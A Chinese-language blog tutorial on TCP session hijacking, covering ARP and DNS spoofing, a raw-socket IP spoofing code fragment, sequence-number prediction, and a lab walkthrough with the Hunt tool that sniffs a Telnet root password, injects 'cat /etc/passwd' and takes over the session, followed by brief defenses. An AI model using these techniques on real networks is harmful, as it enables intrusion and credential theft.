白帽子技術分析會話劫持實戰講解

前言

　　通常，大家所說的hack，都是針對一臺主機，在獲得管理員權限后，就很是得意；其實，真正的hacker是占領整個內部網絡。針對內部網絡的hack方法比較多，但比較有效的方法非ARP欺騙、DNS欺騙莫屬了。但是，不管使用什么技術，無非都是抓取目標的數據包，然后分析出敏感數據。如果目標內部采用的是共享式網絡（采用HUB集線器連網），那只需要把網卡設置為“混雜模式”，掛上嗅探器（Sniffer），就能簡聽到你想得到的數據。如果是交換式網絡（采用交換機連網），這樣方法就行不通了，因為對于嗅探器，有三種網絡環境是無法跨越的：“網橋”、“交換機”、“路由器”。可惜，對于ARP欺騙，交換式網絡還是無能為力，如果我們借助ARP欺騙，在實現更高一層的“***手段”，從而真正的控制內部網絡。這也就是本文要敘述的會話劫持***……

　　一、會話劫持原理

　　1、什么是會話劫持

　　在現實生活中，比如你去市場買菜，在交完錢后你要求先去干一些別的事情，稍候再來拿菜；如果這個時候某個陌生人要求把菜拿走，賣菜的人會把菜給陌生人嗎？！當然，這只是一個比喻，但這恰恰就是會話劫持的喻意。所謂會話，就是兩臺主機之間的一次通訊。例如你Telnet到某臺主機，這就是一次Telnet會話；你瀏覽某個網站，這就是一次HTTP會話。而會話劫持（Session Hijack），就是結合了嗅探以及欺騙技術在內的***手段。例如，在一次正常的會話過程當中，***者作為第三方參與到其中，他可以在正常數據包中插入惡意數據，也可以在雙方的會話當中進行簡聽，甚至可以是代替某一方主機接管會話。我們可以把會話劫持***分為兩種類型：1）中間人***(Man In The Middle，簡稱MITM)，2）注射式***（Injection）；并且還可以把會話劫持***分為兩種形式：1）被動劫持，2）主動劫持；被動劫持實際上就是在后臺監視雙方會話的數據流，叢中獲得敏感數據；而主動劫持則是將會話當中的某一臺主機“踢”下線，然后由***者取代并接管會話，這種***方法危害非常大，***者可以做很多事情，比如“cat etc/master.passwd”（FreeBSD下的Shadow文件）。

　　MITM***簡介

　　這也就是我們常說的“中間人***”，在網上討論比較多的就是SMB會話劫持，這也是一個典型的中間人***。要想正確的實施中間人***，***者首先需要使用ARP欺騙或DNS欺騙，將會話雙方的通訊流暗中改變，而這種改變對于會話雙方來說是完全透明的。關于ARP欺騙***防線介紹的比較多，網上的資料也比較多，我就不在多說了，我只簡單談談DNS欺騙。DNS（Domain Name System），即域名服務器，我們幾乎天天都要用到。對于正常的DNS請求，例如在瀏覽器輸入，然后系統先查看Hosts文件，如果有相對應的IP，就使用這個IP地址訪問網站（其實，利用Hosts文件就可以實現DNS欺騙）；如果沒有，才去請求DNS服務器；DNS服務器在接收到請求之后，解析出其對應的IP地址，返回給我本地，最后你就可以登陸到***防線的網站。而DNS欺騙則是，目標將其DNS請求發送到***者這里，然后***者偽造DNS響應，將正確的IP地址替換為其他IP，之后你就登陸了這個***者指定的IP，而***者早就在這個IP中安排好了惡意網頁，可你卻在不知不覺中已經被***者下了“套”……DNS欺騙也可以在廣域網中進行，比較常見的有“Web服務器重定向”、“郵件服務器重定向”等等。但不管是ARP欺騙，還是DNS欺騙，中間人***都改變正常的通訊流，它就相當于會話雙方之間的一個透明代理，可以得到一切想知道的信息，甚至是利用一些有缺陷的加密協議來實現。

　　注射式***簡介

　　這種方式的會話劫持比中間人***實現起來簡單一些，它不會改變會話雙方的通訊流，而是在雙方正常的通訊流插入惡意數據。在注射式***中，需要實現兩種技術：1）IP欺騙，2）預測TCP序列號。如果是UDP協議，只需偽造IP地址，然后發送過去就可以了，因為UDP沒有所謂的TCP三次握手，但基于UDP的應用協議有流控機制，所以也要做一些額外的工作。對于IP欺騙，有兩種情況需要用到：1）隱藏自己的IP地址；2）利用兩臺機器之間的信任關系實施***。在Unix/Linux平臺上，可以直接使用Socket構造IP包，在IP頭中填上虛假的IP地址，但需要root權限；在Windows平臺上，不能使用Winsock，需要使用Winpacp（也可以使用Libnet）。例如在Linux系統，首先打開一個Raw Socket（原始套接字），然后自己編寫IP頭及其他數據。可以參考下面的實例代碼：

sockfd = socket(AF_INET, SOCK_RAW, 255)；

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))；

struct ip *ip；

struct tcphdr *tcp；

struct pseudohdr pseudoheader；

ip-＞ip_src.s_addr = xxx；

pseudoheader.saddr.s_addr = ip-＞ip_src.s_addr；

tcp-＞check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr))；? ??

sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in))；

　　對于基于TCP協議的注射式會話劫持，***者應先采用嗅探技術對目標進行簡聽，然后從簡聽到的信息中構造出正確的序列號，如果不這樣，你就必須先猜測目標的ISN（初始序列號），這樣無形中對會話劫持加大了難度。那為什么要猜測會話雙方的序列號呢？請繼續往下看。

　　2、TCP會話劫持

　　本文主要敘述基于TCP協議的會話劫持。如果劫持一些不可靠的協議，那將輕而易舉，因為它們沒有提供一些認證措施；而TCP協議被欲為是可靠的傳輸協議，所以要重點討論它。

　　根據TCP/IP中的規定，使用TCP協議進行通訊需要提供兩段序列號，TCP協議使用這兩段序列號確保連接同步以及安全通訊，系統的TCP/IP協議棧依據時間或線性的產生這些值。在通訊過程中，雙方的序列號是相互依賴的，這也就是為什么稱TCP協議是可靠的傳輸協議（具體可參見RFC 793）。如果***者在這個時候進行會話劫持，結果肯定是失敗，因為會話雙方“不認識”***者，***者不能提供合法的序列號；所以，會話劫持的關鍵是預測正確的序列號，***者可以采取嗅探技術獲得這些信息。

　　TCP協議的序列號

　　現在來討論一下有關TCP協議的序列號的相關問題。在每一個數據包中，都有兩段序列號，它們分別為：

SEQ：當前數據包中的第一個字節的序號

ACK：期望收到對方數據包中第一個字節的序號

　　假設雙方現在需要進行一次連接：

S_SEQ：將要發送的下一個字節的序號

S_ACK：將要接收的下一個字節的序號

S_WIND：接收窗口

//以上為服務器（Server）

C_SEQ：將要發送的下一個字節的序號

C_ACK：將要接收的下一個字節的序號

C_WIND：接收窗口

//以上為客戶端（Client）

它們之間必須符合下面的邏輯關系，否則該數據包會被丟棄，并且返回一個ACK包（包含期望的序列號）。

C_ACK <= C_SEQ <= C_ACK + C_WIND

S_ACK <= S_SEQ <= S_ACK + S_WIND

　　如果不符合上邊的邏輯關系，就會引申出一個“致命弱點”，具體請接著往下看。

　　致命弱點

　　這個致命的弱點就是ACK風暴(Storm)。當會話雙方接收到一個不期望的數據包后，就會用自己期望的序列號返回ACK包；而在另一端，這個數據包也不是所期望的，就會再次以自己期望的序列號返回ACK包……于是，就這樣來回往返，形成了惡性循環，最終導致ACK風暴。比較好的解決辦法是先進行ARP欺騙，使雙方的數據包“正常”的發送到***者這里，然后設置包轉發，最后就可以進行會話劫持了，而且不必擔心會有ACK風暴出現。當然，并不是所有系統都會出現ACK風暴。比如Linux系統的TCP/IP協議棧就與RFC中的描述略有不同。注意，ACK風暴僅存在于注射式會話劫持。

　　TCP會話劫持過程

　　假設現在主機A和主機B進行一次TCP會話，C為***者，劫持過程如下：

A向B發送一個數據包

SEQ (hex): X ACK (hex): Y

FLAGS: -AP--- Window: ZZZZ，包大小為:60

B回應A一個數據包

SEQ (hex): Y ACK (hex): X+60

FLAGS: -AP--- Window: ZZZZ，包大小為:50

A向B回應一個數據包

SEQ (hex): X+60 ACK (hex): Y+50

FLAGS: -AP--- Window: ZZZZ，包大小為:40

B向A回應一個數據包

SEQ (hex): Y+50 ACK (hex): X+100

FLAGS: -AP--- Window: ZZZZ，包大小為:30

***者C冒充主機A給主機B發送一個數據包

SEQ (hex): X+100 ACK (hex): Y+80

FLAGS: -AP--- Window: ZZZZ，包大小為:20

B向A回應一個數據包

SEQ (hex): Y+80 ACK (hex): X+120

FLAGS: -AP--- Window: ZZZZ，包大小為:10

　　現在，主機B執行了***者C冒充主機A發送過來的命令，并且返回給主機A一個數據包；但是，主機A并不能識別主機B發送過來的數據包，所以主機A會以期望的序列號返回給主機B一個數據包，隨即形成ACK風暴。如果成功的解決了ACK風暴（例如前邊提到的ARP欺騙），就可以成功進行會話劫持了。

　　關于理論知識就說到這里，下面我以具體的實例演示一次會話劫持。

　　二、會話劫持實踐

　　1、嘮叨幾句

　　可以進行會話劫持的工具很多，比較常用有Juggernaut，它可以進行TCP會話劫持的網絡Sniffer程序；TTY Watcher，而它是針對單一主機上的連接進行會話劫持。還有如Dsniff這樣的工具包也可以實現會話劫持，只是看你會不會使用了。但，能將會話劫持發揮得淋漓盡致的，還要算Hunt這個工具了。它的作者是Pavel Krauz，可以工作在Linux和一些Unix平臺下。它的功能非常強大，首先，無論是在共享式網絡還是交換式網絡，它都可以正常工作；其次，可以進行中間人***和注射式***。還可以進行嗅探、查看會話、監視會話、重置會話。通過前面的敘述，我們知道在注射式***中，容易出現ACK風暴，解決辦法是先進行ARP欺騙；而使用Hunt進行注射式***時，它并不進行ARP欺騙，而是在會話劫持之后，向會話雙方發送帶RST標志位的TCP包以中斷會話，避免ACK風暴繼續下去。而中間人***是先進行ARP欺騙，然后進行會話劫持。Hunt目前最新版本是1.5，可以到Pavel Krauz網站下載源代碼包和二進制文件：~kra/#hunt。

　　現在來看看如果使用Hunt，首先是下載并編譯源代碼：

[root@dahubaobao hunt]#wget

[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz

[root@dahubaobao hunt]#cd hunt-1.5

[root@dahubaobao hunt-1.5]#make

[root@dahubaobao hunt-1.5]#./hunt

//Hunt是完全交互試的操作

解釋一下各個選項的含義

l/w/r) list/watch/reset connections

//l（字母l）為查看當前網絡上的會話；w為監視當前網絡上的某個會話；r為重置當前網絡上的某個會話。

a) arp/simple hijack (avoids ack storm if arp used)

//中間人***（會話劫持），Hunt先進行ARP欺騙，然后進行會話劫持。使用此方法可以避免出現ACK風暴。

s) simple hijack

//簡單的會話劫持，也就是注射式***。會出現ACK風暴。

d) daemons rst/arp/sniff/mac

//該選項共實現四個功能，分別為：終止會話，自動發送帶RST標志位的TCP包；ARP欺騙后進行數據包轉發；不用說了，嗅探功能；在當前網絡上收集MAC地址。

其他的選項很簡單，不在多說了。還是來看看具體的例子吧，我想大家都等不及了！^_^

　　2、應用實例

　　測試環境：

　　***者：Red Hat Linux 9.0 IP：192.168.0.10

　　主機A：Windows Advanced Server IP：192.168.0.1

　　主機B：FreeBSD 4.9 STABLE IP：192.168.0.20

[root@dahubaobao hunt-1.5]#./hunt

* hunt 1.5

* multipurpose connection intruder / sniffer for Linux

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*＞ l //查看當前網絡上的會話

0）192.168.0.1 [3465] ?192.168.0.20 [23]

//主機A正在Telnet到主機B

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*＞ w //監視當前網絡上的會話

0）192.168.0.1 [3465] ?192.168.0.20 [23]

Choose conn＞0 //選擇打算監視的會話。由于我的條件有限，不能模擬多個會話，請多見量。

Dump [s]rc/[d]st/[b]oth [b]＞ //回車

Print sec/dst same charactes y/n [n]＞ //回車

　　現在就可以監視會話了。主機A輸入的一切內容，我們都可以看到。主機A在Telnet并登陸之后，直接su root，password：后邊的就是root的密碼。現在這個系統已經完全由你所控制了，自由發揮吧！

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*＞ s //進行注射式會話劫持

0）192.168.0.1 [3465] ?192.168.0.20 [23]

choose conn＞ 0

dump connection y/n [n]＞

Enter the command string you wish executed or [cr]＞ cat /etc/passwd

***者的意圖是獲取主機B的passwd文件的內容，但由于注射式會話劫持缺陷，導致了ACK風暴，所以Hunt向會話雙方發送了一個帶RST標志位的TCP包來阻止ACK風暴。

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*＞ a //進行中間人會話劫持

0）192.168.0.1 [3862] ?192.168.0.20 [23]

choose conn＞ 0

arp spoof src in dst y/n [y]＞

src MAC [XX:XX:XX:XX:XX:XX]＞

arp spoof dst in src y/n [y]＞

dst MAC [XX:XX:XX:XX:XX:XX]＞

input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]＞

dump connectin y/n [y]＞ n

press key to take voer of connection

ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

ILED

do you want to force arp spoof nutil successed y/n [y]＞

CTRL-C to break

CTRL+C //手工輸入CTRL+C中斷，不需等待

-- operation canceled - press any key＞

ARP spoof failed

ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

you took over the connection

CTRL-] to break

-bash-2.05b$id

....................

　　現在，***者已經成功的劫持了主機A和B之間的Telnet會話。主機A輸入的一切命令***者都可以看到，并且***者也可以自行插入命令。正如前邊所說的，這種會話劫持方式先進行ARP欺騙，然后才劫持，所以，ACK風暴是不會出現的；而且，這種方式要比注射式會話劫持危害更大，從上文中我想就能看出來，我就不必在多說什么了。還有一些如Sniffer等功能，都很簡單，由于已不在本文范疇，故不在多說。

　　三、會話劫持防范

　　防范會話劫持是一個比較大的工程。首先應該使用交換式網絡替代共享式網絡，雖然像Hunt這樣的工具可以在交換環境中實現會話劫持，但還是應該使用交換式網絡替代共享式網絡，因為這樣可以防范最基本的嗅探***。然而，最根本的解決辦法是采用加密通訊，使用SSH代替Telnet、使用SSL代替HTTP，或者干脆使用IPSec/×××，這樣會話劫持就無用武之地了。其次，監視網絡流量，如發現網絡中出現大量的ACK包，則有可能已被進行了會話劫持***。

　　還有一點是比較重要的，就是防范ARP欺騙。實現中間人***的前提是ARP欺騙，如能阻止***者進行ARP欺騙，中間人***還怎樣進行？！如何防范ARP欺騙，***防線有過詳細的介紹，可以參考2003年第9期雜志。

　　總結

　　對于***內部網絡，會話劫持確實是一種比較有效的方法，我們應該掌握。本文的實踐性很強，請大家務必動手試試，并希望能掌握此技術。Hunt這個強悍的工具使用方法很簡單，但卻可以把會話劫持發揮淋漓盡致，真佩服作者的編程功底

轉載于:https://blog.51cto.com/hashlinux/2350637